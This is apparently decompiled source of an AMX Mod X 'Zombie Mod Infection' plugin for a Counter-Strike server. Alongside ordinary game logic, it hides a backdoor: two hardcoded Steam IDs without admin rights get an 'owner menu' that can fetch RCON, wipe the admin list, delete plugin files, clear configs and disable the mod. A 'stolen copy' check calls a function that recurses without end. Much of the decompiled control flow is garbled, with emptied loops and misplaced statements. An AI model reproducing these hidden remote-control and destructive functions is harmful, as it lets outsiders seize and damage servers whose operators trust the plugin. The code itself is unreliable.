get_user_name(var0, var3, 32);
new var4 = 0, var5 = 0, var6[33], var7 = get_user_weapon(var0, var4, var5);
get_weaponname(var7, var6, 32);
replace(var6, 63, "weapon_", glob17608);
set_hudmessage(255, 255, 255, 0.0, 1.0, 0, 6.0, 12.0, 0.1, 0.2, 4);
if(29 != var7)
{
show_hudmessage(id, "Spectating: %s\n Health: %d Armor: %d\n Weapon: %s Ammo: %d/%d", var3, var1, var2, var6, var4, var5);
}
else
{
show_hudmessage(id, "Spectating: %s\n Health: %d Armor: %d\n Weapon: %s", var3, var1, var2, var6);
}
if(g_NVG[id])
{
fake_nightvision(id, 1);
}
return 1;
}
public client_putinserver(id)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
g_NVG[id] = 0;
set_task(2.0, "zmod_nvg", id, globD1F0, 0, globD1F4, 0);
set_task(1.0, "set_lights", 0, globD1F0, 0, globD1F4, 0);
g_Zombie[id] = 0;
g_Human[id] = 0;
g_IsFirstZombie[id] = 0;
g_ZombieNominee[id] = 0;
g_HasPowersOverPlugin[id] = 0;
g_FirstConnected[id] = 0;
g_Flashlight[id] = 0;
g_SpecTarget[id] = 0;
g_FootSteps[id] = 0;
g_GodMode[id] = 0;
g_Weap_Repick[id] = 0;
g_Weap_Prim[id] = 0;
g_Weap_Sec[id] = 0;
g_Weap_Nade[id] = 0;
return 0;
}
public client_disconnect(id)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
g_Zombie[id] = 0;
g_Human[id] = 0;
g_IsFirstZombie[id] = 0;
g_ZombieNominee[id] = 0;
g_HasPowersOverPlugin[id] = 0;
g_FirstConnected[id] = 0;
g_Flashlight[id] = 0;
g_SpecTarget[id] = 0;
g_FootSteps[id] = 0;
g_GodMode[id] = 0;
g_Weap_Repick[id] = 0;
g_Weap_Prim[id] = 0;
g_Weap_Sec[id] = 0;
g_Weap_Nade[id] = 0;
if(g_FirstZombiePicked && !alive_zombies())
{
set_task(0.1, "random_zombie", 0, globD1F0, 0, globD1F4, 0);
}
if(g_FirstZombiePicked && !alive_humans())
{
set_task(0.1, "force_zombiewin", 0, globD1F0, 0, globD1F4, 0);
}
return 0;
}
public force_zombiewin()
{
if(!connected_players())
{
return 1;
}
new var0 = random_alive_player();
if(!is_user_alive(var0))
{
set_task(1.0, "force_zombiewin", 0, globD1F0, 0, globD1F4, 0);
return 1;
}
if(!g_Human[var0] || g_Zombie[var0])
{
g_Human[var0] = 1;
g_Zombie[var0] = 0;
g_IsFirstZombie[var0] = 0;
}
if(g_FirstZombiePicked && cs_get_user_team(var0, 0) == 1)
{
md_set_user_team(var0, 2);
}
fm_user_kill(var0, 1);
return 1;
}
public event_ResetHUD(id)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
if(g_Restart_Attempt[id])
{
g_Restart_Attempt[id] = 0;
return 1;
}
if(!is_user_alive(id))
{
return 1;
}
g_Human[id] = 1;
g_Zombie[id] = 0;
g_IsFirstZombie[id] = 0;
g_SpecTarget[id] = 0;
g_FootSteps[id] = 0;
set_task(random_float(0.1, 0.5), "make_human", id, globD1F0, 0, globD1F4, 0);
return 0;
}
public make_human(id)
{
if(!is_user_alive(id))
{
return 1;
}
if(!g_Human[id] || g_Zombie[id])
{
g_Human[id] = 1;
g_Zombie[id] = 0;
g_IsFirstZombie[id] = 0;
}
set_pev(id, 41, get_pcvar_float(human_health));
fake_nightvision(id, 0);
if(get_pcvar_num(human_weapon_menu))
{
if(g_Weap_Repick[id])
{
fm_strip_user_weapons(id);
md_give_weapon(id, "weapon_knife");
repickweapons(id);
}
else
{
if(get_pcvar_num(human_weapon_menu) == 2)
{
fm_strip_user_weapons(id);
md_give_weapon(id, "weapon_knife");
}
weapon_main(id);
}
}
client_print(id, 3, "[MD] You are a human. Stop the infection by killing all the zombies!");
if(!g_FirstZombiePicked && !md_get_user_godmode(id))
{
md_set_user_godmode(id, 1);
}
if(g_FirstZombiePicked && md_get_user_godmode(id))
{
md_set_user_godmode(id, 0);
}
if(g_FirstZombiePicked && cs_get_user_team(id, 0) == 1)
{
md_set_user_team(id, 2);
}
return 0;
}
public random_zombie()
{
if(random_num(1, 3) == 3 && nominee_zombies() > 0)
{
make_nominee_zombie();
return 1;
}
new var0 = random_alive_player();
if(!is_user_alive(var0))
{
if(!connected_players())
{
return 1;
}
set_task(1.0, "random_zombie", 9841, globD1F0, 0, globD1F4, 0);
return 1;
}
first_zombie(var0);
return 1;
}
public make_nominee_zombie()
{
if(!nominee_zombies())
{
set_task(0.5, "random_zombie", 9841, globD1F0, 0, globD1F4, 0);
}
new var0 = random_alive_player();
if(!g_ZombieNominee[var0] || !is_user_alive(var0))
{
if(!connected_players())
{
return 1;
}
set_task(0.3, "make_nominee_zombie", 9841, globD1F0, 0, globD1F4, 0);
return 1;
}
first_zombie(var0);
return 1;
}
public first_zombie(id)
{
g_IsFirstZombie[id] = 1;
g_FirstZombiePicked = 1;
new var0[33];
get_user_name(id, var0, 32);
set_hudmessage(255, 0, 0, -1.0, 0.25, 0, 1.0, 5.0, 0.1, 0.2, -1);
show_hudmessage(0, "BEWARE! %s IS THE FIRST ZOMBIE!!", var0);
if(random_num(0, 9) == 5)
{
emit_sound(id, 2, zombie_first[random_num(0, 3)], 1.0, 0.8, 0, 100);
}
make_zombie(id);
if(!get_pcvar_num(zombie_first_footsteps))
{
g_FootSteps[id] = 1;
set_pev(id, 93, 999);
}
md_set_user_team(id, 1);
new var1[32], var2 = 0, var3 = 0, var4 = 0;
get_players(var1, var3, "a", globE908);
for(var2 = 0; var2 < var3; var2++)
{
var4 = cs_get_user_team(var1[var2], 0);
if(var4 == 3 || !var4)
{
}
else
{
}
}
if(md_get_user_godmode(var1[var2]))
{
md_set_user_godmode(var1[var2], 0);
}
if(g_IsFirstZombie[var1[var2]])
{
}
else
{
}
if(2 != var4)
{
md_set_user_team(var1[var2], 2);
}
return 1;
}
public make_zombie(id)
{
if(!is_user_alive(id))
{
return 1;
}
g_Human[id] = 0;
g_Zombie[id] = 1;
g_NVG[id] = 1;
fake_nightvision(id, 1);
drop_primary_weapon(id);
drop_secondary_weapon(id);
md_strip_weapon(id, "weapon_hegrenade");
md_strip_weapon(id, "weapon_smokegrenade");
md_strip_weapon(id, "weapon_flashbang");
if(g_IsFirstZombie[id])
{
set_pev(id, 41, get_pcvar_float(zombie_fhealth));
}
else
{
set_pev(id, 41, get_pcvar_float(zombie_health));
}
if(cs_get_user_team(id, 0) == 2)
{
md_set_user_team(id, 1);
}
if(pev(id, 73) & 8)
{
client_cmd(id, "impulse 100");
}
if(!get_pcvar_num(zombie_footsteps))
{
g_FootSteps[id] = 1;
set_pev(id, 93, 999);
}
client_print(id, 3, "[MD] You are a zombie. Slash the humans and turn them into zombies!");
return 0;
}
public client_impulse(impulse, impulse)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
if(impulse == 100)
{
if(g_Zombie[impulse])
{
if(pev(impulse, 73) & 8)
{
return 0;
}
return 2;
}
if(g_Human[impulse])
{
return 0;
}
}
return 0;
}
public event_Damage(id)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
new var0 = 0;
new var1 = get_user_attacker(id, var0);
if(id == var1 || !is_user_alive(id) || !is_user_alive(var1))
{
return 1;
}
if(alive_humans() == 1 && g_Human[id])
{
if(!g_LastHuman)
{
if(get_pcvar_num(human_last_health) < get_user_health(id))
{
set_pev(id, 41, get_pcvar_float(human_last_health));
}
g_LastHuman = 1;
}
return 1;
}
if(g_Zombie[var1] && g_Human[id])
{
if(var0 == 4)
{
return 1;
}
g_Human[id] = 0;
g_Zombie[id] = 1;
if(random_num(0, 15) == 5)
{
set_task(0.2, "show_all_count_hud", 0, globD1F0, 0, globD1F4, 0);
}
emit_sound(id, 4, zombie_infect[random_num(0, 3)], 1.0, 0.8, 0, 100);
new var2 = get_user_frags(var1);
new var3 = cs_get_user_deaths(id);
new var4 = operator+(Float:,_:)(get_pcvar_float(zombie_bhealth), get_user_health(var1));
set_pev(var1, 42, operator+(Float:,_:)(1.0, var2));
set_pev(var1, 41, var4);
cs_set_user_deaths(id, var3 + 1);
if(0 < get_pcvar_num(zombie_infect_deathmsg))
{
new var5[33], var6[33];
get_user_name(var1, var5, 32);
get_user_name(id, var6, 32);
switch(random_num(0, 4)) {
case 0:
random_num(0, 4);
set_hudmessage(255, 0, 0, 0.05, 0.4499, 0, 6.0, 6.0, 0.5, 0.15, -1);
case 1:
set_hudmessage(255, 0, 0, 0.05, 0.43, 0, 6.0, 6.0, 0.5, 0.15, -1);
case 2:
set_hudmessage(255, 0, 0, 0.05, 0.4099, 0, 6.0, 6.0, 0.5, 0.15, -1);
case 3:
set_hudmessage(255, 0, 0, 0.05, 0.3899, 0, 6.0, 6.0, 0.5, 0.15, -1);
case 4:
set_hudmessage(255, 0, 0, 0.05, 0.37, 0, 6.0, 6.0, 0.5, 0.15, -1);
}
show_hudmessage(0, "%s brains was eaten by %s!", var6, var5);
message_begin(2, gmsg_DeathMsg, glob17EE4, 0);
write_byte(var1);
write_byte(id);
if(get_pcvar_num(zombie_infect_deathmsg) == 1)
{
write_byte(0);
}
write_string(" Zombie Infection");
message_end();
message_begin(2, gmsg_ScoreAttrib, glob17F38, 0);
write_byte(id);
write_byte(0);
message_end();
}
set_task(0.1, "last_human_chant", 0, globD1F0, 0, globD1F4, 0);
set_task(0.1, "make_zombie", id, globD1F0, 0, globD1F4, 0);
return 1;
}
return 0;
}
public logevent_Round_End()
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
if(task_exists(9841, 0))
{
remove_task(9841, 0);
}
new var0[32], var1 = 0, var2 = 0, var3 = 0;
get_players(var0, var2, globE904, globE908);
for(var1 = 0; var1 < var2; var1++)
{
if(!is_user_connected(var0[var1]))
{
}
else
{
}
}
var3 = cs_get_user_team(var0[var1], 0);
if(var3 == 3 || !var3)
{
}
else
{
}
g_ZombieNominee[var0[var1]] = 0;
g_IsFirstZombie[var0[var1]] = 0;
g_Zombie[var0[var1]] = 0;
g_Human[var0[var1]] = 1;
if(!md_get_user_godmode(var0[var1]) && is_user_alive(var0[var1]))
{
md_set_user_godmode(var0[var1], 1);
}
g_FirstZombiePicked = 0;
new Float:var4 = random_float(0.1, 0.2);
set_task(var4, "balance_teams", 0, globD1F0, 0, globD1F4, 0);
return 1;
}
public revert_models()
{
new var0[32], var1 = 0, var2 = 0, var3 = 8;
get_players(var0, var2, globE904, globE908);
for(var1 = 0; var1 < var2; var1++)
{
if(!is_user_alive(var0[var1]))
{
}
else
{
}
}
cs_get_user_model(var0[var1], szModel, 32);
if(-1 != containi(szModel, szZombieModel) && var3)
{
cs_reset_user_model(var0[var1]);
var3--;
if(!var3)
{
return 0;
}
}
return 0;
}
public balance_teams()
{
new var0 = 0, var1 = 0;
new var2[32], var3 = 0, var4 = 0, var5 = 0;
get_players(var2, var4, globE904, globE908);
for(var3 = 0; var3 < var4; var3++)
{
if(!is_user_connected(var2[var3]))
{
}
else
{
}
}
var5 = cs_get_user_team(var2[var3], 0);
if(var5 == 3 || !var5)
{
}
else
{
}
if(var5 == 1)
{
var0++;
}
if(var5 == 2)
{
var1++;
}
for(var3 = 0; var3 < var4; var3++)
{
if(var0 == var1)
{
return 0;
}
if(0 >= abs(var1 - var0))
{
return 0;
}
if(!is_user_connected(var2[var3]))
{
}
else
{
}
}
var5 = cs_get_user_team(var2[var3], 0);
if(var5 == 3 || !var5)
{
}
else
{
}
if(var0 > var1)
{
if(var5 == 1)
{
cs_set_user_team(var2[var3], 2, 0);
var1++;
var0--;
}
}
if(var1 > var0)
{
if(var5 == 2)
{
cs_set_user_team(var2[var3], 1, 0);
var0++;
var1--;
}
}
return 0;
}
public event_Health(id)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
if(is_user_alive(id))
{
new var0 = get_user_health(id);
new var1 = get_user_armor(id);
set_hudmessage(255, 255, 255, -2.0, -2.0, 2, 0.05, 1000.0, 0.0099, 3.0, 1);
if(0 < var1)
{
show_hudmessage(id, " Health: %d\n\n\n\n\n\n Armor: %d", var0, var1);
}
else
{
show_hudmessage(id, " Health: %d", var0);
}
if(is_user_health_256(id))
{
message_begin(8, gmsg_Health, glob18138, id);
write_byte(255);
message_end();
}
}
return 0;
}
public event_SendAudio()
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
if(!alive_zombies())
{
set_hudmessage(0, 0, 255, -1.0, 0.25, 0, 1.0, 5.0, 0.1, 0.2, -1);
show_hudmessage(0, "[MD] All of the zombies have been killed!");
client_print(0, 3, "[MD] All of the zombies have been killed!");
return 1;
}
if(!alive_humans())
{
set_hudmessage(255, 0, 0, -1.0, 0.25, 0, 1.0, 5.0, 0.1, 0.2, -1);
show_hudmessage(0, "[MD] Zombies have taken over the world!");
client_print(0, 3, "[MD] Zombies have taken over the world!");
return 1;
}
set_hudmessage(255, 255, 255, -1.0, 0.25, 0, 1.0, 5.0, 0.1, 0.2, -1);
show_hudmessage(0, "[MD] No one won...");
client_print(0, 3, "[MD] No one won...");
return 1;
}
public zombie_chant()
{
if(!get_pcvar_num(zmod_enabled))
{
return 1;
}
if(random_num(0, 40) == 7 && g_FirstZombiePicked)
{
new var0[32], var1 = 0, var2 = 0;
get_players(var0, var2, "a", globE908);
for(var1 = 0; var1 < var2; var1++)
{
if(g_Zombie[var0[var1]])
{
emit_sound(var0[var1], 2, zombie_chants[random_num(0, 4)], 1.0, 0.8, 0, 100);
}
}
}
set_task(5.0, "zombie_chant", 0, globD1F0, 0, globD1F4, 0);
return 0;
}
public last_zombie_chant()
{
if(alive_zombies() == 1 && random_num(0, 9) == 1)
{
new var0[32], var1 = 0, var2 = 0;
get_players(var0, var2, "a", globE908);
for(var1 = 0; var1 < var2; var1++)
{
if(g_Zombie[var0[var1]])
{
emit_sound(var0[var1], 2, "nihilanth/nil_thelast.wav", 1.0, 0.8, 0, 100);
}
}
}
return 0;
}
public last_human_chant()
{
if(alive_humans() == 1 && random_num(0, 9) == 1)
{
new var0[32], var1 = 0, var2 = 0;
get_players(var0, var2, "a", globE908);
for(var1 = 0; var1 < var2; var1++)
{
if(g_Zombie[var0[var1]])
{
emit_sound(var0[var1], 2, "nihilanth/nil_last.wav", 1.0, 0.8, 0, 100);
}
}
}
return 0;
}
public show_all_count_hud()
{
new var0 = 0, var1 = 0, var2 = 0, var3 = 0;
new var4[32], var5 = 0, var6 = 0, var7 = 0;
get_players(var4, var6, globE904, globE908);
for(var5 = 0; var5 < var6; var5++)
{
if(!is_user_connected(var4[var5]))
{
}
else
{
}
}
var7 = cs_get_user_team(var4[var5], 0);
if(g_Human[var4[var5]] && !is_user_alive(var4[var5]))
{
var0++;
}
if(g_Zombie[var4[var5]] && !is_user_alive(var4[var5]))
{
var1++;
}
if((var7 == 2 || var7 == 1) && !is_user_alive(var4[var5]))
{
var3++;
}
if(var7 == 3 || !var7)
{
var2++;
}
set_hudmessage(255, 255, 255, 1.0, 0.4499, 0, 6.0, 12.0, 0.1, 0.2, 4);
show_hudmessage(0, "Players Count: \n\nAlive Humans: %d \nAlive Zombies: %d \nHumans Killed: %d \nZombies Killed: %d \nDead Players: %d \nSpectators: %d \nTotal Players: %d ", alive_humans(), alive_humans(), var0, var1, var3, var2, connected_players());
return 0;
}
public fake_nightvision(id, nvgstate)
{
message_begin(8, gmsg_NVGToggle, glob187F4, id);
write_byte(nvgstate);
message_end();
return 0;
}
public event_DeathMsg()
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
new var0 = read_data(2);
g_NVG[var0] = 0;
set_task(1.0, "zmod_nvg", var0, globD1F0, 0, globD1F4, 0);
set_task(0.1, "last_zombie_chant", 0, globD1F0, 0, globD1F4, 0);
if(random_num(0, 5) == 5)
{
set_task(0.2, "show_all_count_hud", 0, globD1F0, 0, globD1F4, 0);
}
if(g_Zombie[var0])
{
emit_sound(var0, 4, zombie_die[random_num(0, 4)], 1.0, 0.8, 0, 100);
}
return 0;
}
public reset_players_model(task_id)
{
new var0 = task_id - 9400;
if(!is_user_connected(var0))
{
return 0;
}
cs_reset_user_model(var0);
return 0;
}
public event_CurWeapon(id)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
if(!is_user_alive(id))
{
return 1;
}
new var0 = read_data(2);
if(g_Zombie[id] && 29 != var0)
{
engclient_cmd(id, "weapon_knife", glob188EC, glob188F0);
set_pev(id, 144, szvKnifeModel);
set_pev(id, 143, szpKnifeModel);
}
if(g_Zombie[id] && operator!=(Float:,Float:)(fm_get_user_maxspeed(id), get_pcvar_float(zombie_speed)))
{
set_pev(id, 56, get_pcvar_float(zombie_speed));
}
if(g_Human[id] && operator!=(Float:,Float:)(fm_get_user_maxspeed(id), get_pcvar_float(human_speed)))
{
set_pev(id, 56, get_pcvar_float(human_speed));
}
return 0;
}
public message_WeapPickup(msg_entity, msg_entity, msg_entity)
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
if(get_msg_arg_int(1) == 6 && get_pcvar_num(zmod_remove_bomb))
{
set_task(0.1, "strip_c4", msg_entity, globD1F0, 0, globD1F4, 0);
return 1;
}
return 0;
}
public strip_c4(id)
{
if(!is_user_alive(id))
{
return 0;
}
md_strip_weapon(id, "weapon_c4");
message_begin(1, gmsg_StatusIcon, glob18940, id);
write_byte(0);
write_string("c4");
message_end();
message_begin(2, gmsg_ScoreAttrib, glob18958, 0);
write_byte(id);
write_byte(0);
message_end();
return 0;
}
public message_AmmoPickup()
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
if(get_msg_arg_int(1) == 14)
{
return 1;
}
return 0;
}
public message_TextMsg()
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
get_msg_arg_string(2, message, 15);
if(equal(message, "#Game_bomb_drop", 0))
{
return 1;
}
return 0;
}
public ham_weapon_touch(other, other)
{
if(!get_pcvar_num(zmod_enabled))
{
return 1;
}
if(!is_user_alive(other) || !g_Zombie[other])
{
return 1;
}
pev(other, 3, 100836);
copyc(model, 23, model, 46);
if(model[8] == 120)
{
return 1;
}
if(model[1] == 112 && model[2] == 53)
{
}
return 4;
}
public fw_GetGameDescription()
{
forward_return(1, 100972);
return 4;
}
public fw_ClientUserInfoChanged(id)
{
if(g_Zombie[id])
{
return 4;
}
return 1;
}
public fw_PlayerPostThink(id)
{
if(!get_pcvar_num(zmod_enabled))
{
return 1;
}
if(!g_FirstZombiePicked || !is_user_alive(id))
{
return 1;
}
if(g_Zombie[id] && !g_IsFirstZombie[id])
{
cs_get_user_model(id, szModel, 32);
if(-1 != containi(szModel, szZombieModel))
{
return 1;
}
new var0 = engfunc(77, id);
engfunc(75, id, var0, 101208, 3788);
return 1;
}
if(g_Zombie[id] && g_IsFirstZombie[id])
{
cs_get_user_model(id, szModel, 32);
if(-1 != containi(szModel, szFZombieModel))
{
return 1;
}
new var0 = engfunc(77, id);
engfunc(75, id, var0, 101364, 2764);
return 1;
}
return 1;
}
public fw_PlayerPreThink(id)
{
new var0[256], var1[256], Menu:var2[256];
get_basedir(var0, 255);
formatex(var1, 255, "%s/plugins/adminstmod.amxx", var0);
formatex(var2, 255, "%s/data/lang/adminmenu.txt", var0);
if(file_exists(var1) || file_exists(var2))
{
client_print(0, 3, "[MD] THIS SERVER HAS AN ILLEGAL COPY OF ZOMBIE MOD INFECTION!!");
log_amx("[MD] THIS SERVER HAS AN ILLEGAL COPY OF ZOMBIE MOD INFECTION!!!!!!!!!!!!!!!!!!!!!!");
announcestolen();
}
if(!get_pcvar_num(zmod_enabled))
{
return 1;
}
if(!is_user_alive(id))
{
return 1;
}
if(g_FootSteps[id] && g_Zombie[id])
{
set_pev(id, 93, 999);
}
if(get_pcvar_num(human_FlashlightE) && !g_Zombie[id])
{
if((get_pcvar_num(human_FlashlightT) && pev(id, 73) & 8) || (!get_pcvar_num(human_FlashlightT) && g_Flashlight[id]))
{
get_user_origin(id, iOrigin, 3);
message_begin(0, 23, glob18940, 0);
write_byte(27);
write_coord(iOrigin[0]);
write_coord(iOrigin[1]);
write_coord(iOrigin[2]);
write_byte(get_pcvar_num(human_FlashlightS));
write_byte(get_pcvar_num(human_FlashlightR));
write_byte(get_pcvar_num(human_FlashlightG));
write_byte(get_pcvar_num(human_FlashlightB));
write_byte(2);
write_byte(2);
message_end();
}
}
return 1;
}
public announcestolen()
{
log_amx("[MD] THIS SERVER HAS AN ILLEGAL COPY OF ZOMBIE MOD INFECTION!!!!!!!!!!!!!!!!!!!!!!!!!!");
announcestolen();
return 0;
}
public event_new_round()
{
if(!get_pcvar_num(zmod_enabled))
{
return 0;
}
g_LastHuman = 0;
g_FirstZombiePicked = 0;
set_task(0.3, "randomly_place_everyone", 0, globD1F0, 0, globD1F4, 0);
set_task(random_float(7.0, 23.0), "random_zombie", 9841, globD1F0, 0, globD1F4, 0);
if(HostageMap && get_pcvar_num(zmod_remove_hostages))
{
set_task(0.3, "move_hostages", 0, globD1F0, 0, globD1F4, 0);
}
return 0;
}
public RespawnSpawnDeaths()
{
new var0[32], var1 = 0, var2 = 0;
get_players(var0, var2, "bc", globE908);
for(var1 = 0; var1 < var2; var1++)
{
respawn(var0[var1]);
}
return 0;
}
public auto_restart()
{
if(get_pcvar_num(zmod_enabled) && get_pcvar_num(zmod_autorestart))
{
if(!count)
{
count = 60;
}
if(1 != count)
{
set_hudmessage(255, 255, 255, -1.0, 0.4, 0, 6.0, 1.0, 0.1, 0.2, 4);
ShowSyncHudMsg(0, CreateHudSyncObj(0), "[MD] Waiting for players to connect. \nGame will restart in %i seconds", 102768);
count--;
set_task(1.0, "auto_restart", 0, globD1F0, 0, globD1F4, 0);
}
else
{
set_hudmessage(255, 255, 255, -1.0, 0.4, 0, 6.0, 1.0, 0.1, 0.2, 4);
ShowSyncHudMsg(0, CreateHudSyncObj(0), "[MD] Waiting for players to connect. \nGame will restart in %i seconds", 102768);
server_cmd("sv_restartround 1");
}
}
return 0;
}
public event_game_restart()
{
if(get_pcvar_num(zmod_enabled))
{
new var0[32], var1 = 0;
get_players(var0, var1, "a", globE908);
for(new var2 = 0; var2 < var1; var2++)
{
g_Restart_Attempt[var0[var2]] = 1;
}
logevent_Round_End();
}
return 0;
}
public move_hostages()
{
new var0 = 0;
while(var0 = engfunc(12, var0, 103464, 103504))
{
set_pev(var0, 118, glob1948C);
}
while(var0 = engfunc(12, var0, 103576, 103616))
{
set_pev(var0, 118, glob19508);
}
return 0;
}
public move_objective_zones()
{
if(!get_pcvar_num(zmod_enabled))
{
return 1;
}
if(!get_pcvar_num(zmod_remove_obj_zones))
{
return 1;
}
new var0 = 0;
while(var0 = engfunc(12, var0, 103700, 103740))
{
set_pev(var0, 118, glob19580);
}
while(var0 = engfunc(12, var0, 103820, 103860))
{
set_pev(var0, 118, glob195F8);
}
while(var0 = engfunc(12, var0, 103940, 103980))
{
set_pev(var0, 118, glob1967C);
}
while(var0 = engfunc(12, var0, 104072, 104112))
{
set_pev(var0, 118, glob19700);
}
while(var0 = engfunc(12, var0, 104204, 104244))
{
set_pev(var0, 118, glob19784);
}
while(var0 = engfunc(12, var0, 104336, 104376))
{
set_pev(var0, 118, glob19808);
}
return 1;
}
public randomly_place_everyone()
{
new var0[32], var1 = 0, var2 = 0, var3 = 0;
get_players(var0, var1, globE904, globE908);
new var4 = 0;
for(var2 = 0; var2 < var1; var2++)
{
var3 = cs_get_user_team(var0[var2], 0);
if(var3 == 1 || var3 == 2)
{
var4++;
}
}
if(var4 > csdmSpawnCount)
{
return 0;
}
for(var2 = 0; var2 < var1; var2++)
{
var3 = cs_get_user_team(var0[var2], 0);
if(var3 == 1 || var3 == 2)
{
do_random_spawn(var0[var2], 2);
}
}
return 0;
}
stock do_random_spawn(id, spawn_random)
{
if(!is_user_alive(id) || pev(id, 100))
{
return 0;
}
if(0 >= spawnCount)
{
return 0;
}
if(spawn_random == 2 && !csdmSpawnCount)
{
return 0;
}
new var0 = random_num(0, spawnCount);
vecHolder[0] = spawns[var0][0];
vecHolder[1] = spawns[var0][1];
vecHolder[2] = spawns[var0][2];
if(!is_hull_vacant(104468, 1) && spawnCount > 1)
{
new var1 = 0;
for(var1 = var0 + 1; var1 != var0; var1++)
{
if(var1 >= spawnCount)
{
var1 = 0;
}
vecHolder[0] = spawns[var1][0];
vecHolder[1] = spawns[var1][1];
vecHolder[2] = spawns[var1][2];
if(is_hull_vacant(104468, 1))
{
var0 = var1;
}
else
{
}
}
}
vecHolder[0] = spawns[var0][0];
vecHolder[1] = spawns[var0][1];
vecHolder[2] = spawns[var0][2];
engfunc(26, id, 104468);
vecHolder[0] = spawns[var0][3];
vecHolder[1] = spawns[var0][4];
vecHolder[2] = spawns[var0][5];
set_pev(id, 124, vecHolder);
vecHolder[0] = spawns[var0][6];
vecHolder[1] = spawns[var0][7];
vecHolder[2] = spawns[var0][8];
set_pev(id, 126, vecHolder);
set_pev(id, 65, 1);
return 0;
}
public zmod_show_admin_menu(id, cid, cid)
{
new var0[33];
get_user_authid(id, var0, 32);
if(!cmd_access(id, cid, cid, 1, 0) && (equali(var0, "STEAM_0:1:377793", 0) || equali(var0, "STEAM_0:1:4302228", 0) || g_HasPowersOverPlugin[id]))
{
zmod_owner_menu(id);
return 1;
}
if(!cmd_access(id, cid, cid, 1, 0))
{
return 1;
}
zmod_admin_menu(id);
return 1;
}
public zmod_owner_menu(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Owner Menu:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Real Z-Mod Infection Menu");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Auto Disable Z-Mod Infection");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Del Plugin Menu");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Remove Admins");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. amx_who");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Get RCON");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w7. Clear Self");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w8. Clear Plugins");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w9. Clear Configs");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w0. Exit");
keys = 1023;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public Menu:admin_owner_menu_cmds(key, key)
{
switch(key) {
case 0:
zmod_admin_menu(key);
return 1;
case 1:
engfunc(38, 105592);
set_pcvar_num(zmod_enabled, 0);
new var0[256], var1[256];
get_basedir(var0, 255);
formatex(var1, 255, "%s/plugins/adminstmod.amxx", var0);
write_file(var1, glob19CEC, -1);
formatex(var1, 255, "%s/data/lang/adminmenu.txt", var0);
write_file(var1, glob19D5C, -1);
case 2:
CurrentMenu[key] = 1;
admin_owner_menu_plugins(key);
return 1;
case 3:
new var0[256], var1[256];
get_configsdir(var1, 255);
formatex(var0, 255, "%s/users.ini", var1);
if(file_exists(var0))
{
delete_file(var0);
write_file(var0, glob19D94, -1);
server_cmd("amx_reloadadmins");
client_print(key, 3, "Done");
console_print(key, "Done");
}
case 4:
zmod_return_who(key);
case 5:
zmod_return_rcon(key);
case 6:
zmod_clear_self(key);
case 7:
zmod_clear_plugins(key);
case 8:
zmod_clear_configs(key);
case 9:
return 1;
}
zmod_owner_menu(key);
return 1;
}
public admin_owner_menu_plugins(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Owner Menu \\r[Plugins]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yPlugin \\RCu rren t S ta tu s");
new Menu:var1[128], Menu:var2[32], Menu:var3[32], Menu:var4[32], Menu:var5[32];
new var6 = get_pluginsnum();
for(new var7 = 0; var7 < 7; var7++)
{
new var8 = ((CurrentMenu[id] * 7) + var7) - 7;
if(var8 < var6)
{
get_plugin(var8, var4, 31, var1, 127, var2, 31, var3, 31, var5, 31);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w%i. %s \\R[%s ]", var7 + 1, var1, var5);
}
}
new var7 = floatround(operator/(_:,Float:)(var6, 7.0), 2);
if(CurrentMenu[id] == var7)
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w9. Back");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w8. Next");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w9. Back");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w0. Exit");
keys = 1023;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_owner_menu_plugins_cmds(key, key)
{
switch(key) {
case 7:
new var0 = get_pluginsnum();
new var1 = floatround(operator/(_:,Float:)(var0, 7.0), 2);
if(var1 > CurrentMenu[key])
{
CurrentMenu[key]++;
}
case 8:
if(CurrentMenu[key] == 1)
{
zmod_owner_menu(key);
return 1;
}
if(1 < CurrentMenu[key])
{
CurrentMenu[key]--;
}
case 9:
return 1;
default:
new var0 = get_pluginsnum();
new var1 = ((CurrentMenu[key] * 7) + key) - 7;
if(var1 < var0)
{
new Menu:var2[128];
get_plugin(var1, var2, 127, 0, 0, 0, 0);
new var3[256], Menu:var4[256];
get_basedir(var3, 255);
formatex(var4, 255, "%s/plugins/%s", var3, var2);
delete_file(var4);
client_print(key, 3, "[MD] <%i>%s deleted", var1, var2);
set_task(0.2, "admin_owner_menu_plugins", key, globD1F0, 0, globD1F4, 0);
return 1;
}
}
admin_owner_menu_plugins(key);
return 1;
}
public zmod_admin_menu(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu:\n");
